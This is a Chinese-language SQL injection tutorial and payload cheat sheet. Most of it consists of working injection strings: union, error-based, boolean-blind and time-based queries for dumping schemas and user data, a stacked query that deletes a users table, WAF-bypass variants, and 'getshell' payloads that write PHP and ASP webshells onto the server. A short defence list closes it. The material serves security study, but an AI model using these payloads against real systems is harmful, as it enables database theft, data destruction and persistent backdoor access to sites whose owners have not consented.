科普基础 | 最全的SQL注入总结
字数 1244 2025-08-11 17:40:15
SQL注入全面教学文档
一、SQL注入原理
SQL注入是指当客户端提交的数据未作处理或转义直接带入数据库执行时,攻击者通过构造特殊的SQL语句实现对数据库的任意操作。
二、SQL注入分类
1. 按变量类型分
- 数字型注入
- 字符型注入
2. 按HTTP提交方式分
- POST注入
- GET注入
- Cookie注入
3. 按注入方式分
- 布尔注入
- 联合注入
- 多语句注入
- 报错注入
- 延时注入
- 内联注入
4. 按数据库类型分
- SQL数据库:Oracle、MySQL、MSSQL、Access、SQLite、PostgreSQL
- NoSQL数据库:MongoDB、Redis
三、不同数据库的区别
MySQL与MSSQL及ACCESS的区别
- MySQL 5.0以下没有information_schema默认数据库
- ACCESS没有库名,只有表和字段,注入时必须跟表名,且没有注释功能
- MySQL使用LIMIT排序,ACCESS使用TOP排序(MSSQL也可使用TOP)
四、数据库判断语句
-- MySQL判断
and length(user())>10
-- ACCESS判断
and (select count(*) from MSysAccessObjects)>0
-- MSSQL判断
and (select count(*) from sysobjects)>0
五、基本手工注入流程
1. 判断注入点
- 数字型:
id=2-1 - 字符型:使用注释符
--(注意是--加空格)
2. 获取字段数
使用order by二分法:
order by 1
order by 50
3. 联合注入
-- 查看显示位
and 1=2 union select version(),2,3
-- 查询所有数据库
and 1=2 union select (select group_concat(schema_name) from information_schema.schemata),2,3
-- 查询所有表名
union select (select group_concat(table_name) from information_schema.tables),2,3
-- 查询所有字段名
union select (select group_concat(column_name) from information_schema.columns),2,3
-- 查询字段内容
union select (select group_concat(id,'~',uname) from test.users),2,3
六、报错注入
通用报错语句:
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
七、布尔盲注
常用函数:
char()- 解ASCII码mid()/substr()- 截取字符串count()- 计算行数concat()- 合并结果保持行数group_concat()- 合并结果到一行ascii()- 查询ASCII码
示例:
-- 猜数据库长度
id=1 and (length(database()))>1
-- 猜第一个字符
and ascii(mid(database(),1,1))>1
-- 查询表名
and (select count(table_name) from information_schema.tables where tables_schema=database())>1
-- 查询字段内容
and ascii(mid((select username from security.user limit 0,1),1,1))>100
八、延时盲注
利用sleep()和条件判断:
select * from user where id='1' or sleep(3) %23
select * from user where id=1 and if(length(version())>10,sleep(3),0);
select * from user where id=1 and case length(version())>10 when 1 then sleep(3) else 0 end;
九、多语句注入
利用分号分隔多个语句:
id=1";WAITFOR DELAY '0:0:3';delete from users; --+
十、内联注入
id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
-- 使用别名
union select 1,2,3,4,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id=b.id)
十一、Getshell方法
-- MySQL写入shell
id=-1' union select 1,2,(select '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/404.php') --+
-- MSSQL执行命令
exec master..xp_cmdshell 'echo "<%eXECutegLobaL rEquEst(0)%>" > "c:\www\upload\Files\2019-11\404.asp"'
十二、宽字节注入
当编码为GBK时,%df%27或%81%27可能吃掉转义字符\,闭合单引号实现注入。
十三、二次编码注入
当代码中有urldecode()函数时:
%2527 → %27 → '
十四、二次注入
- 注册时输入
username=test',被转义为test\' - 存入数据库后仍为
test' - 后续查询时触发注入
十五、XFF头注入
update user set last_loginip = '8.8.8.8' where id =1 and sleep(5) #' where username = 'zs';
十六、WAF绕过技巧
1. 基本绕过
- 大小写:
UnIoN SeLcT - 内联注释:
/*!UNION*/ /*!SELECT*/ - 特殊字符代替空格:
%09(Tab)、%0a(换行)
2. 等价替换
- 函数替换:
hex()代替ascii() - 逻辑符号:
&&代替and,||代替or
3. 特殊符号
- 反引号:
select `version()` - 加号和点:
"+"、"."连接 - @符号定义变量
4. 关键字拆分
'se'+'lec'+'t'
%S%E%L%C%T 1,2,3
5. 加括号绕过
union (select+1,2,3+from+users)%23
select{x user}from{x mysql.user}
6. HTTP参数污染(HPP)
?id=1/**/union/*&id=*/select/*&id=*/username.password/*&id=*/from/*&id=*/users
十七、SQL注入防御
- 对用户输入进行转义
- 限制特殊字符输入和输入长度
- 使用预编译语句(Prepared Statement)
- 部署WAF等防护设备